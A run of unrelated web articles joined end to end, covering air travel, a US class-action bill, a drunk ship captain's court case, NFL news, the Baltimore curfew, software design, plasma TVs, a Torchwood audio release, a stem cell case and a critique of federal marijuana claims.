And today I am one of them.
In a behind-the-scenes look at the other side of air travel, I donned a navy suit and starched white shirt earlier this summer and became a flight attendant for two days. With the cooperation of American Airlines, I first went to flight attendant training school at the company’s Flagship University in Fort Worth, Tex., where I learned what to do in an onboard emergency, from how to open an emergency exit window on a 777 aircraft (it’s heavier than you may think) to operating a defibrillator (there are pictures to help you get the pads in the right place). I then flew three legs in two days: a round-trip journey between Dallas and New York, and then back to New York the next day.
And though the other flight attendants knew I was a ringer, the passengers did not. Thus I got a crash course in what airline personnel have to put up with these days — and, after just one day on the job, began to wonder why the phrase “air rage” is only applied to passengers. Believe me, there were a few people along the way, like the demanding guy in first class who kept barking out drink orders as the flight progressed (until he finally passed out), whom I would have been more than happy to show to the exit, particularly when we were 35,000 feet in the air.
WHAT’S it like to be a flight attendant these days? That’s what I’ve often found myself wondering as I sit in my seat, waiting impatiently as yet another flight is delayed and my connection threatened, while around me are passengers fighting with each other over the lack of space in the shared bin, or complaining about having been bumped from an earlier flight, or swearing “never again” to fly this specific airline because they have been stuck in a middle seat even though they booked their ticket six months ago.
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the circumstances under which each class representative or named plaintiff agreed to be included in the complaint and shall identify any other class action in which any proposed class representative or named plaintiff has a similar role.
“(b) Prohibition of conflicts.—A Federal court shall not issue an order granting certification of any class action in which any proposed class representative or named plaintiff is a relative or employee of class counsel.
“(c) Definition.—For purposes of this section, ‘relative’ shall be defined by reference to section 3110(a)(3) of title 5, United States Code.
“(d) Exception.—This section shall not apply to a private action brought as a class action that is subject to section 27(a) of the Securities Act of 1933 (15 U.S.C. 77z–1(a)) or section 21D(a) of the Securities Exchange Act of 1934 (15 U.S.C. 78u–4(a)).
Ҥ 1718. Class member benefits
“(a) Distribution of benefits to class members.—A Federal court shall not issue an order granting certification of a class action seeking monetary relief unless the class is defined with reference to objective criteria and the party seeking to maintain such a class action affirmatively demonstrates that there is a reliable and administratively feasible mechanism (a) for the court to determine whether putative class members fall within the class definition and (b) for distributing directly to a substantial majority of class members any monetary relief secured for the class.
“(b) Attorneys’ fees in class actions.—
“(1) FEE DISTRIBUTION TIMING.—In a class action seeking monetary relief, no attorneys’ fees may be determined or paid pursuant to Rule 23(h) of the Federal Rules of Civil Procedure or otherwise until the distribution of any monetary recovery to class members has been completed.
“(2) FEE DETERMINATIONS BASED ON MONETARY AWARDS.—Unless otherwise specified by Federal statute, if a judgment or proposed settlement in a class action provides for a monetary recovery, the portion of any attorneys’ fee award to class counsel that is attributed to the monetary recovery shall be limited to a reasonable percentage of any payments directly distributed to and received by class members. In no event shall the attorneys’ fee award exceed the total amount of money directly distributed to and received by all class members.
“(3) FEE DETERMINATIONS BASED ON EQUITABLE RELIEF.—Unless otherwise specified by Federal statute, if a judgment or proposed settlement in a class action provides for equitable relief, the portion of any attorneys’ fee award to class counsel that is attributed to the equitable relief shall be limited to a reasonable percentage of the value of the equitable relief, including any injunctive relief.
Ҥ 1719. Money distribution data
“(a) Settlement accountings.—In any settlement of a class action that provides for monetary benefits, the court shall order class counsel to submit to the Director of the Federal Judicial Center and the Director of the Administrative Office of the United States Courts an accounting of the disbursement of all funds paid by the defendant pursuant to the settlement agreement. The accounting shall state the total amount paid directly to all class members, the actual or estimated total number of class members, the number of class members who received payments, the average amount (both mean and median) paid directly to all class members, the largest amount paid to any class member, the smallest amount paid to any class member and, separately, each amount paid to any other person (including class counsel) and the purpose of the payment. In stating the amounts paid to class members, no individual class member shall be identified. No attorneys’ fees may be paid to class counsel pursuant to Rule 23(h) of the Federal Rules of Civil Procedure until the accounting has been submitted.
“(b) Annual settlement distribution reports.—Commencing not later than 12 months after the date of enactment of this section, the Judicial Conference of the United States, with the assistance of the Director of the Federal Judicial Center and the Director of the Administrative Office of the United States Courts, shall annually prepare and transmit to the Committees on the Judiciary of the Senate and the House of Representatives for public dissemination a report summarizing how funds paid by defendants in class actions have been distributed, based on the settlement accountings submitted pursuant to subsection (a).
Ҥ 1720. Issues classes
“(a) In general.—A Federal court shall not issue an order granting certification of a class action with respect to particular issues pursuant to Rule 23(c)(4) of the Federal Rules of Civil Procedure unless the entirety of the cause of action from which the particular issues arise satisfies all the class certification prerequisites of Rule 23(a) and Rule 23(b)(1), Rule 23(b)(2), or Rule 23(b)(3).
“(b) Certification order.—An order issued under Rule 23(c)(4) of the Federal Rules of Civil Procedure that certifies a class with respect to particular issues shall include a determination, based on a rigorous analysis of the evidence presented, that the requirement in subsection (a) of this section is satisfied.
Ҥ 1721. Stay of discovery
“In any class action, all discovery and other proceedings shall be stayed during the pendency of any motion to transfer, motion to dismiss, motion to strike class allegations, or other motion to dispose of the class allegations, unless the court finds upon the motion of any party that particularized discovery is necessary to preserve evidence or to prevent undue prejudice to that party. This section shall not apply to a private action brought as a class action that is subject to section 27(a) of the Securities Act of 1933 (15 U.S.C. 77z–1(a)) or section 21D(a) of the Securities Exchange Act of 1934 (15 U.S.C. 78u–4(a)).
Ҥ 1722. Third-party litigation funding disclosure
“In any class action, class counsel shall promptly disclose in writing to the court and all other parties the identity of any person or entity, other than a class member or class counsel of record, who has a contingent right to receive compensation from any settlement, judgment, or other relief obtained in the action.
Ҥ 1723. Appeals
“A court of appeals shall permit an appeal from an order granting or denying class-action certification under Rule 23 of the Federal Rules of Civil Procedure.”.
(b) Conforming amendment.—The table of sections for such chapter is amended by inserting after the item pertaining to section 1715 the following:
SEC. 104. Misjoinder of plaintiffs in personal injury and wrongful death actions.
Section 1447 is amended by inserting after subsection (e) the following:
“(f) Misjoinder of plaintiffs in personal injury and wrongful death actions.—
“(1) This subsection shall apply to any civil action commenced in a State court in which—
“(A) two or more plaintiffs assert personal injury or wrongful death claims;
“(B) the action is removed on the basis of the jurisdiction conferred by section 1332(a); and
“(C) a motion to remand is made on the ground that one or more plaintiffs are citizens of the same State as one or more defendants.
“(2) In deciding the remand motion in any such case, the court shall apply the jurisdictional requirements of section 1332(a) to the claims of each plaintiff individually, as though that plaintiff were the sole plaintiff in the action.
“(3) Except as provided in paragraph (4), the court shall sever the claims that do not satisfy the jurisdictional requirements of section 1332(a) and shall remand those claims to the State court from which the action was removed. The court shall retain jurisdiction over the claims that satisfy the jurisdictional requirements of section 1332(a).
“(4) The court shall retain jurisdiction over a claim that does not satisfy the jurisdictional requirements of section 1332(a) if—
“(A) the claim is so related to the claims that satisfy the jurisdictional requirements of section 1332(a) that they form part of the same case or controversy under Article III of the United States Constitution; and
“(B) the plaintiff consents to the removal of the claim.”.
SEC. 105. Multidistrict litigation proceedings procedures.
Section 1407 is amended by adding at the end the following:
“(i) Allegations verification.—In any coordinated or consolidated pretrial proceedings conducted pursuant to subsection (b), counsel for a plaintiff asserting a claim seeking redress for personal injury whose civil action is assigned to or directly filed in the proceedings shall make a submission sufficient to demonstrate that there is evidentiary support (including but not limited to medical records) for the factual contentions in plaintiff’s complaint regarding the alleged injury, the exposure to the risk that allegedly caused the injury, and the alleged cause of the injury. The submission must be made within the first 45 days after the civil action is transferred to or directly filed in the proceedings. That deadline shall not be extended. Within 90 days after the submission deadline, the judge or judges to whom the action is assigned shall enter an order determining whether the submission is sufficient and shall dismiss the action without prejudice if the submission is found to be insufficient. If a plaintiff in an action dismissed without prejudice fails to tender a sufficient submission within the following 30 days, the action shall be dismissed with prejudice.
“(j) Trial prohibition.—In any coordinated or consolidated pretrial proceedings conducted pursuant to subsection (b), the judge or judges to whom actions are assigned by the Judicial Panel on Multidistrict Litigation may not conduct a trial in a civil action transferred to or directly filed in the proceedings unless all parties to that civil action consent.
“(k) Review of orders.—
“(1) IN GENERAL.—The Court of Appeals having jurisdiction over the transferee district shall permit an appeal to be taken from any order issued in the conduct of coordinated or consolidated pretrial proceedings conducted pursuant to subsection (b), provided that the order is applicable to one or more civil actions seeking redress for personal injury and that an immediate appeal from the order may materially advance the ultimate termination of one or more civil actions in the proceedings.
“(2) REMAND ORDERS.—Notwithstanding section 1447(d), a court of appeals may accept an appeal from an order issued in any coordinated or consolidated proceedings conducted pursuant to subsection (b) granting or denying a motion to remand a civil action to the State court from which it was removed if application is made to the court of appeals within 14 days after the order is entered.
“(l) Ensuring proper recovery for plaintiffs.—A plaintiff who asserts personal injury claims in any civil action transferred to or directly filed in coordinated or consolidated pretrial proceedings conducted pursuant to subsection (b) shall receive not less than 80 percent of any monetary recovery obtained for those claims by settlement, judgment, or otherwise, subject to the satisfaction of any liens for medical services provided to the plaintiff related to those claims. The judge or judges to whom the coordinated or consolidated pretrial proceedings have been assigned shall have jurisdiction over any disputes regarding compliance with this requirement.”.
SEC. 106. Rulemaking authority of Supreme Court and Judicial Conference.
Nothing in this title shall restrict in any way the authority of the Judicial Conference and the Supreme Court to propose and prescribe general rules of practice and procedure under chapter 131 of title 28, United States Code.
SEC. 107. Effective date.
The amendments made by the title shall apply to any civil action pending on the date of enactment of this title or commenced thereafter.
SEC. 201. Short title.
This title may be cited as the “Furthering Asbestos Claim Transparency (FACT) Act of 2017”.
SEC. 202. Amendments.
Section 524(g) of title 11, United States Code, is amended by adding at the end the following:
“(8) A trust described in paragraph (2) shall, subject to section 107—
“(A) file with the bankruptcy court, not later than 60 days after the end of every quarter, a report that shall be made available on the court’s public docket and with respect to such quarter—
“(i) describes each demand the trust received from, including the name and exposure history of, a claimant and the basis for any payment from the trust made to such claimant; and
“(ii) does not include any confidential medical record or the claimant’s full social security number; and
“(B) upon written request, and subject to payment (demanded at the option of the trust) for any reasonable cost incurred by the trust to comply with such request, provide in a timely manner any information related to payment from, and demands for payment from, such trust, subject to appropriate protective orders, to any party to any action in law or equity if the subject of such action concerns liability for asbestos exposure.”.
SEC. 203. Effective date; application of amendments.
(a) Effective date.—Except as provided in subsection (b), this title and the amendments made by this title shall take effect on the date of the enactment of this title.
(b) Application of amendments.—The amendments made by this title shall apply with respect to cases commenced under title 11 of the United States Code before, on, or after the date of the enactment of this title.The question of what to do with the drunken sailor will be addressed in three weeks’ time after a Latvian sea captain admitted sailing his ship down the River Tay while almost four times the limit.
Sheriff Alastair Brown told Andrejs Borodins he was considering a jail sentence due to the seriousness of his actions in piloting his 300ft container ship down the narrow part of the river from Perth 10 days ago.
He told the 53-year-old: “I regard this as a very serious offence and there was the potential to do serious damage and to put lives at risk.”
He said the accused had an alcohol level “within touching distance of four times the limit,” and added: “A custodial sentence is a very serious possibility.”
Borodins was remanded in custody for three weeks for a report despite an appeal by his solicitor, John Kydd of Dundee firm Thorntons, to grant him bail.
Mr Kydd said he had managed to get hold of Borodins’ passport before his ship had sailed and could surrender it to the court if he was granted bail.
His company is standing by him despite the conviction and agreed to allow Mr Kydd to book a hotel room in Dundee as a bail address if sentence was deferred, Mr Kydd said.
Borodins, who was assisted by a Russian-speaking interpreter, admitted that on July 28, while being the professional master of the ship the Frifjord, of sailing the vessel on the River Tay between Perth and Dundee and at Dundee Harbour while almost four times the legal limit (137 mics). The legal limit is 35 mics.
Depute fiscal Eilidh Robertson told the court Borodins was preparing to negotiate the Norwegian-owned Frifjord through the shipping lanes under the rail and road bridges but was unable to carry out instructions given to him by a local pilot, who suspected him of being under the influence.
Ms Robertson told the court the pilot had boarded the ship at Balmerino to guide it through the bridges and immediately suspected Borodins was drunk.
She said: “He became concerned about the accused’s demeanour.
“He noticed that Borodins was unsteady on his feet and formed the opinion that he was under the influence of something and contacted Dundee Port Authority to inform them of his concerns, who in turn contacted the police.”
They boarded the ship and found him lying in his bunk asleep and heavily under the influence of alcohol, she said.
They woke him and his breath smelled strongly of alcohol and he was staggering and incoherent.
Borodins told police: “I arrived at the port sober and had a drink at the port.”
Told by Sheriff Brown that he was calling for a report, Mr Kydd said despite his crime, his employers were standing by him and he had booked a hotel in Dundee as a bail address for three weeks in anticipation of the sheriff deferring sentence.
He added: “The seven days he has spent in Perth Prison has had a sobering effect on him and he admits he has let himself down as well as his family and his employers. He blames no one else for this and his explanation is that he was exhausted, his behaviour was abnormal and he’s also got a lot of explaining to do to his wife and family.”
Sheriff Brown told Borodins the chances of running aground, of colliding with either of the Tay rail or road bridges or other river traffic and of causing injury or endangering the lives of his crew and others “must have been very high”.
He added the possibility of causing environmental damage to the Tay, with the associated costs to the economy of Scotland, was also very high.
Sentence was deferred until August 26 for a criminal social work report.Each year, we like to run a series of posts called "90-in-90." The idea is that we'll take a look at every player on the roster, from the very bottom to the top and break them down a few ways. This roster will certainly change, and some days we'll have more than one so it's not exactly 90 players in 90 days. At this point, it's a name we're keeping around for street cred.
The San Francisco 49ers have had a strong pair of defensive tackles on the edge of their 3-4 when they roll out Justin Smith and Ray McDonald. The problem prior to 2013 was that the team did not have enough backup options to remove Smith and McDonald for any sort of serious rest. In 2011 and 2012, Smith and McDonald were among the league leaders in total snaps played. Even without factoring in their deep playoff runs, the two players were out there quite a bit.
In 2013, the 49ers finally appeared to find some decent rotational options. Formerly undrafted free agents Demarcus Dobbs and Tony Jerod-Eddie worked their way into the rotation and actually managed to get Smith and McDonald some reasonable rest. Dobbs finished the season with 302 defensive snaps, while TJE finished with 378 defensive snaps. For comparison's sake, in 2012, Ricky Jean-Francois, the team's primary backup defensive lineman, finished the season with 287 snaps, and that included starting in place of Justin Smith the final two games (and one half of the Patriots game). RJF's played in 27 percent of defensive snaps as basically the only backup defensive lineman, while Dobbs finished with around 28 percent of defensive snaps, and TJE finished around 35 percent of defensive snaps.
Dobbs entered 2013 with more experience than Jerod-Eddie, but TJE seemed to climb past him on the depth chart. Dobbs did not finish too far behind TJE in snaps, but TJE was usually the first guy off the bench. It was an interesting change, as Dobbs had shown some great things his previous two preseasons. Dobbs ended up being a capable backup this past season. He was not flashy, but it did seem like when he and TJE rotated into games where it wasn't a wholesale removal of starters, he was perfectly capable. For a backup, anything more is a bonus.
Dobbs entered this offseason as a restricted free agent, having completed his 3-year rookie deal. The 49ers tendered Dobbs at the lowest available level, but that still resulted in a $1.431 million tender. He was free to try and get a deal elsehwere, but I don't recall any rumors about other teams being interested. I was a little surprised the 49ers elected to tender him. I suppose they could have felt he would have signed elsewhere, but that seemed like a sizable chunk of change. Of course, if the team does not think Tank Carradine or Quinton Dial are progressing enough, it makes sense to keep a stable backup option around.
Why he will improve in 2014:
He has three years under his belt, and it is possible he can make some kind of leap this year. He didn't exactly wow in the regular season, but he has looked good in preseason play. Sure it might never fully convert to regular season performance, but players make that leap in year three or four plenty of times. My guess is this will not be the case, but it will at least make for an interesting preseason. I suspect he gets plenty of opportunities in the preseason. I don't expect Justin Smith and Ray McDonald to play a whole lot this preseason. That potentially opens the door for extensive preseason opportunities against first and second team offensive units.
Why he will regress in 2014:
See above, just in reverse. He has impressed in the preseason, but it has not fully translated to the regular season. He is a very capable backup, and that's nothing to hang your head over. But given that the 49ers depth is only improving along the line with the return of Tank Carradine, and potentially a full season of Quinton Dial, and his opportunities might start to slip. I don't know that he'll necessarily "regress", but his opportunities very well could.
Odds of making the roster:
This is a tough one to figure for me. The 49ers are deeper along the defensive line, but Dobbs gets a lot of special teams work. If Tank Carradine, Quinton Dial and Tony Jerod-Eddie provide more than enough backup along the line, I could see Dobbs getting cut (or potentially traded for a late pick). His $1.431 million tender is not fully guaranteed, and the 49ers could always use more cap space. The cap/DL numbers game could be his undoing in San Francisco. If Dobbs is not traded, his roster chances are somewhere in the 30-40 percent range, give or take. Tank Carradine and Quinton Dial could make it too difficult for him to stick around.SANTA CRUZ (CBS SF) — A woman who told the University of California at Santa Cruz police that she was sexually assaulted on campus earlier this month admitted to fabricating the incident, the campus police chief said Thursday.
The 21-year-old woman, from outside Santa Cruz County and not a student, had reported that she had been raped and beaten around noon Feb. 17 while walking in a remote area of campus near the Upper Quarry Amphitheater and Classroom Unit building, UC Santa Cruz police Chief Nader Oweis said.
Oweis said in the past day the woman had admitted the crime did not occur.
“We have worked around the clock and confirmed that the information that she had provided regarding the event was false,” Oweis said.
The Police Department is sending the case to the Santa Cruz County District Attorney’s Office for review and prosecution, Oweis said.
“It’s still very important for the public to be vigilant and to understand that this did not occur,” Oweis said.
No one was arrested in connection with the fabricated assault. The woman had told police the suspect had fled.
The alleged attack had spurred increased safety measures in the past 11 days—including increased police and security patrols and a nighttime safety escort service on campus—which Oweis said will continue regardless.
A $5,000-reward for information about the sexual assault suspect that was announced last week has been rescinded in light of the admitted fabrication, according to Oweis.
(Copyright 2013 by CBS San Francisco and Bay City News Service. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.)CLEVELAND, Ohio -- Browns receiver Josh Gordon is still awaiting a date on his appeal hearing, according to a report.
Gordon is appealing what's believed to be an indefinite ban from the NFL for his third violation of the substance abuse policy, which stipulates that he can't apply for reinstatement for at least one calendar year.
A source told profootballtalk.com's Mike Florio that the hearing isn't even on the calendar yet.
That's significant, because the sooner Gordon is banned, the sooner he can try to get back into the league.
If he loses the appeal, the ban will begin immediately, which means that he wouldn't be able to petition NFL Commissioner Roger Goodell for reinstatement until the end of next June. That means he'd miss all of organized team activities and mandatory minicamp next year.
If the hearing is postponed much longer, Gordon could be in jeopardy of missing some or all of training camp next year.
Browns coach Mike Pettine said at the conclusion of minicamp June 12 that he expected to hear about Gordon's suspension by the beginning of training camp July 26th.
He acknowledged, however, that the uncertainty has made it hard to prepare for the season.
"There's certainly a level of frustration because we've known the news for so long," Pettine told radio partner 92.3 The Fan. "It's just a holding pattern and I understand that the league has a process that they have to go through and there's other things that they're dealing with and we respect that. But at the same time it is difficult because it really will affect our preparation for the season.''
He said the club has met about it and "we're prepared for all of the eventualities, but the waiting is difficult."
Gordon sat out most of the mandatory minicamp with a pulled hamstring. Other receivers expected to help replace him have also been plagued by injuries, including Nate Burleson, Miles Austin and Travis Benjamin.
According to ESPN, Gordon tested positive for marijuana this offseason and was notified of his suspension in April. The failed test comes on the heels of his positive test last year for what he said was codeine in his prescribed cough syrup.
Instead of banning Gordon for the full four games last year, the NFL agreed to sit him for two games and dock him four game checks. Playing in the two additional games enabled Gordon to lead the NFL with 1,646 yards and make the Pro Bowl.
Upon his return, Gordon confirmed that his next failed test would result in the indefinite ban with the chance for reinstatement after a year.
Sources close to Gordon have told cleveland.com they're concerned his career could be over if he has to serve the full one-year ban and be away from the structure of the team.
Last season, he was permitted to remain with the club during his suspension and he benefited from the support system around him. If he loses the appeal, it would result in banishment, meaning he'd literally be kicked out of the NFL for at least a year and wouldn't be allowed to work out in Berea or attend meetings with his teammates.
Even if the suspension is reduced, there's still a good chance he'd be banished from the team during that time, per terms of the policy.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
April 29, 2015, 1:43 AM GMT / Updated April 29, 2015, 5:20 AM GMT / Source: NBC News By Alex Johnson
Scattered outbreaks of resistance flared as an overnight curfew settled over Baltimore, but they were largely quelled within an hour Tuesday night as thousands of local, state and federal law enforcement officers blanketed the city.
Shortly before midnight, Police Commissioner Anthony Batts reported 10 arrests, most of them for simple curfew violations.
"The curfew is, in fact, working," he said. "I'm very pleased with the community, with the citizens, with the residents."
Authorities had said they were confident they would prevent a repeat of Monday night's rioting and looting, and except for the handful of flare-ups, they appeared to be succeeding.
About 20 minutes after the 10 p.m. curfew went into effect, streets appeared to begin emptying as police slowly advanced in lines, projecting pepper balls — essentially pellets of pure hot pepper — at gathered crowds.
Shortly after 10:30 p.m., police began advancing on what they called a "group of criminals" who had started a fire outside a public library branch at Pennsylvania and North avenues, near where some people briefly threw items at officers. The fire was soon extinguished. At another location, a smaller group of protesters lay in the street in a display of civil disobedience.
By 11 p.m., only small groups of civilians, mainly journalists, remained on the streets.
The relative calm capped a day during which residents tossed bottles and bricks into trash bags rather than at police, beginning what authorities hoped would begin a week of peaceful cleaning up.
It was a stark transformation from Monday night, when dozens of cars were set on fire, 15 buildings were set ablaze, at least 20 officers were injured and 235 people were arrested in disturbances that followed a funeral for Freddie Gray, a black Baltimore man who died last week in police custody.
RELATED: Baltimore Gang Members: We're Trying to Stop the Violence
"Today, I think we saw a lot more of what Baltimore's about. We saw people coming together to reclaim our city, to clean our city and to help heal our city," Mayor Stephanie Rawlings-Blake said Tuesday afternoon. "I think this can be our defining moment and not the darkest days that we saw yesterday."
Large crowds marched throughout the city ahead of the curfew, remaining peaceful. A marching band even showed up on one street to lead festivities.
"For the most part, the city has been calm today," Batts said Tuesday evening.I’m building a house and I write software for a living. So when someone showed me the article Why We Should Build Software Like We Build Houses I had to disagree.
Building a House
I’m renovating a 1905 house, and true to the Author’s word, it hasn’t fallen down. But it did require foundation repairs, major systems upgrades, and updates. Houses aren’t static, they move, they breath and if you simply build one and never touch it again, it won’t make it past the 100-year mark.
In the software world, we build, test, and iterate quickly. Crafting a house, on the other hand, is a giant waterfall on a waterfall. Before you know where to put your walls, you have to know what kind of couch you want. It sounds like hyperbole, but there’s little room to decide “as you go”. If you find out you want a few inches of toe room for your toilet, it’s hard to tear down your walls and re-route your plumbing, so you better get it right the first time. When it’s finally time to pick light fixtures to give your house the finishing touch and you fall in love with a wall-mounted lights, too bad - all your receptacles are off the ceiling, installed way before drywall, texture, and paint.
The house building process leaves very little room for iteration. Feedback cycles are measured in weeks, sometimes months. Planning everything out and accounting for every use case right from the start is simply impossible. Now, this is true for both building software applications and building houses. But while being stuck with early, poorly informed decisions is a fact of life in house building, it fortunately doesn’t have to be in software.
The Better Way
Encouraging developers to write paragraphs before each method and “figuring out exactly what a method should do…its spec may be a paragraph or even a couple of pages”[1] does not sound like the quickest nor the best way to get feedback. It’s not even the best way to spec out a project.
While “Architects don’t make their blueprints out of bricks”, developers can and do make blueprints with code. Coders have been known to leverage Test driven development, business driven development, and my personal favorite, README driven development. These are all approaches to plan with code.
Code blueprints should be free from implementation details (as much as possible) and give high level feedback on the concept. In my UT on Rails course, I have students write user stories to explain high level concepts behind what a visitor will see and do as they interact with your project. This type of a “blueprint” is a common and easy way to introduce new developers to the design process. It’s not a commitment to implementation or architecture. User stories guide a project, not dictate it. User stories are not waterfall.
I also encourage writing “specifications” which are somewhat different from “blueprints”. Specs in Ruby are tests that can be run against your code to verify it does what you say it will. These are tied to the implementation, which means you should be willing to throw them away when your project scope changes, or if your implementation takes a different direction.
Say “No” to Building Software Like We Build Houses
Every day as I work on my house, I wish it was more like writing software, not the other way around. On one end of the spectrum is coding with no design at all, on the other end we get waterfall. Both extremes are considered harmful. So what should you do?
Don’t bury yourself beneath a mountain of metaphorical bricks before you start a project. Yes, put thought into your work. Yes, make mistakes fail early and often. Yes, change your blueprints to suit new understandings of the problem definition. But please, under no circumstances ever build a piece of software like you would build a house.Rome was neither built nor disassembled in a day. While historians point to September 4, 476—the overthrow of the last emperor—as the date it all fell apart, the fall really began decades earlier and continued for decades afterwards.
Likewise, tech historians may point to February 12, 2009 as the official fall of the plasma empire—even though new models have just been announced. That's the day that Pioneer—arguable the maker of the best plasmas ever—announced its complete exit from the TV business and that Vizio—the number-three plasma retailer in the US—gave up on the tech in favor of LCD. That leaves just Panasonic, LG and Samsung defending the diminished borders of the once-great empire. (And the latter two are also the two largest makers of LCD panels in the world. Only Panasonic still stake its life on plasma.)
This would be an easy story to tell if it was simply a matter of the better tech winning. But it's not. Plasma still beats LCD on almost every measure of picture quality.
The excuse for most flat panel purchases is the Super bowl, and plasma is unquestionably the better Super bowl TV. Its extremely fast screen response rate means it can show fast motion crisply, and it's wide viewing angle means that even the latecomers at the edge of the room see a bright image of the game.
Say you're more a cinephile than sports fan? Plasma is the best choice for movies, too. It produces far better contrast, which renders richer detail—especially in the kinds of dark scenes that are common in many movies. And while the best LCDs deliver very rich color, the cheapie LCDs that most people buy are probably no match for even bargain plasma.
The one real negative for plasma is power consumption. But even that's improving. While the average plasma uses about 17 percent more power as an LCD of the same size (according to Cnet), Panasonic has just introduced new screens called "NeoPDP" that use half as much juice as earlier plasmas. Next year's versions are expected to cut that down to one third as much. And even the eco-record is mixed. Most LCD TVs contain mercury-laden fluorescent lamps.
So what's wrong with plasma? It's just not cool anymore. Having been the first large-screen technology, it now seems old. LCDs are the shining future—literally, as they are quite a bit brighter than plasma panels. Nevermind that LCDs are bright enough to give you a sunburn, and you have to turn them down to make the screen tolerable to look at. Big numbers sell. LCD wins on the brightness number and also usually on resolution. You can find a "1080p" LCD (with a resolution of 1920 by 1080 pixels) screen as small as 32 inches. At that size, you're unlikely to actually see the benefit of the extra pixels, but it's nice to know you got more for your money. Meanwhile, most 42-inch plasmas (the most common size) have a sub-high-def resolution of 1024 by 768 pixels. Regardless of how it looks, it just doesn't sound good.
I'm not, by the way, a plasma partisan. With my small budget and small apartment, I had no room for a giant screen. Instead of plasma, I bought a 37-inch LCD TV on closeout. The picture quality is lousy, but the size and price were right. And since I mainly watch Internet downloads, the screen is not the quality bottleneck, anyway.
Plasma may survive the Fall as a niche product for Blu-ray-equipped video aficionados—just like Latin remained the language of choice for the small number of educated people during the Middle Ages. But it looks like LCD has breached the walls, deposed the monarch, and installed itself as our new TV overlord.Big Finish are delighted to confirm the titles for the rest of Torchwood: Series 1.
Following on from Thursday's announcement of Tracy-Ann Oberman's appearance in Torchwood: One Rule, producer James Goss has confirmed the titles and cast for the fifth and six releases at a panel at Big Finish Day 7.
January 2016 sees the return of John Barrowman as Captain Jack Harkness in Torchwood: Uncanny Valley. Written by David Llewllyn it sees Jack still on his quest to find out more about the mysterious Committee. What is their involvement in the life of a reclusive billionaire?
The first series will conclude in February 2016 with Torchwood: More Than This, written by Guy Adams and starring Eve Myles as Gwen Cooper, placed on a very special mission.
More details on both stories will be revealed soon! Torchwood: The Conspiracy starring John Barrowman, is available buy today, exclusive to the Big Finish website. The series will continue with Torchwood: Fall to Earth in October, starring Gareth David-Lloyd as Ianto Jones.
Series 1 and Series 2 are both available to subscribe to today, with Series 1 keeping its special introductory price of £45 on CD and £40 to download until the end of September.Who knows where a nose grows? Here’s a curious case. An 18-year-old woman sustained a spinal cord injury that left her legs paralyzed. Three years later, stem cells from her nose were transplanted into the injury site. She developed back pain eight years afterwards, and imaging revealed a mass at the implantation site. The 3-centimeter-long spinal cord mass was mostly nasal tissue and contained large amounts of thick, mucus-like material.
Although the growth wasn’t cancerous, these findings demonstrate just how important safety monitoring is after stem cell treatments and how it should be maintained for years. The team that removed the growth, led by Brian Dlouhy from the University of Iowa, published the surgery results in Journal of Neurosurgery: Spine earlier this month.
The olfactory stem cells were implanted into her spine with the goal of having them develop into neural cells to help repair nerve damage, New Scientist explains. It didn’t work, and even though the unusual growth contained bits of bone and tiny nerve branches, they didn’t connect with the spinal nerves.
"It is sobering," says Harvard’s George Daley, who wasn’t involved with the |
16 years, and who had smoked an average of 4.5 joints every single day over that period.
This is far outside the realm of normal, moderate use. A recent Colorado Department of Revenue report found, for instance, that the majority of users in that state smoked five or fewer times per month. Again, what we have is not an argument against marijuana use, but an argument against overdoing it.
Marijuana use is associated with cognitive impairment, including lower IQ among adult chronic users who began using marijuana at an early age.
The same is true for alcohol and tobacco. The study cited by the ONDCP looked at changes in IQ among heavy marijuana users, defined in this case as those who smoked marijuana at least four times a week. In general, the authors found a "small" IQ effect for people who had used marijuana heavily at some point in their lives, with the exception of those who showed consistent heavy use over a period of 20 years, for whom the negative effect was "medium." Again, a solid argument for a minimum age and moderate use.
Substance use in school age children has a detrimental effect on their academic achievement. Students who earned D’s or F’s were more likely to be current users of marijuana than those who earned A’s (45% vs. 10%).
This comes from a CDC fact sheet. ONDCP doesn't report that students who earned D's or F's are also more likely to be current drinkers of alcohol than those who earned A's (62 percent vs. 32 percent). Setting aside that there's zero causality implied in these findings, the only argument here is, again, for keeping marijuana and alcohol out of the hands of minors.
Marijuana is addictive. Estimates from research suggest that about 9 percent of users become addicted to marijuana. This number increases to about 17 percent among those who start young and to 25-50 percent among people who use marijuana daily.
This is from a 20-year-old paper on the addictiveness of various substances. Taking these findings at face value, the important thing to note is that the 9 percent addiction rate for marijuana users is substantially lower than the 15 percent addiction rate for alcohol drinkers and the 33 percent addiction rate for tobacco users. This comports with more recent research showing that marijuana is a relatively non-addictive substance.
Or, to put it another way, marijuana is about as addictive as video gaming.
Drugged driving is a threat to our roadways. Marijuana significantly impairs coordination and reaction time and is the illicit drug most frequently found to be involved in automobile accidents, including fatal ones.
Undoubtedly true, and a strong argument for legalization and regulation to keep stoned drivers off the road. One important point in the study: Marijuana was a factor in about 12 percent of the fatal crashes studied in 2010. Alcohol was a factor in nearly 40 percent of fatal crashes throughout the study period. Distracted driving was the cause of 18 percent of all fatal crashes, on the other hand.
There are plenty of things that it is stupid to do behind the wheel, from being tired to texting. But that's a case for not doing stupid things when you drive — not a case for outlawing those things altogether.
Addictive substances like alcohol and tobacco, which are legal and taxed, already result in much higher social costs than the revenue they generate. The cost to society of alcohol alone is estimated to be more than 15 times the revenue gained by its taxation.
This is a weak argument for alcohol prohibition, and a terrible one for marijuana prohibition. The study ONDCP cites estimates the total societal cost of excessive drinking to be $223.5 billion. On the other hand, the alcoholic beverage industry estimates it generates about $400 billion in economic activity. And since marijuana is widely regarded to be a less harmful substance than alcohol, the economic cost of marijuana legalization would be even lower than for alcohol.
Reports from the nonpartisan RAND Institute found that the potential economic benefits from legalization had been overstated, citing that: Marijuana legalization would not eliminate the black market for marijuana.
Dramatically lowered prices could mean substantially lower potential tax revenue for states.
For starters, these two statements are at odds with each other — if marijuana legalization results in dramatically lowered prices, how would there be an incentive for black market trade?
The RAND black market study looks at the effect that legalization in Calfornia, and California only, would have on drug trafficking organizations in Mexico. Not surprisingly the effect they find is small — the study assumes continued black market demand in all 49 other states, and notes that marijuana trafficking makes up a small proportion of Mexican cartels' overall export revenue.
But the study says absolutely nothing — literally nothing! — about the effects of national legalization, nor about the impact that legalization would have on domestic black markets. The study never even purports to make those types of conclusions. It's hard to see how the ONDCP's citation of this study to claim that "marijuana legalization would not eliminate the black market for marijuana" is anything other than a deliberate attempt to mislead.
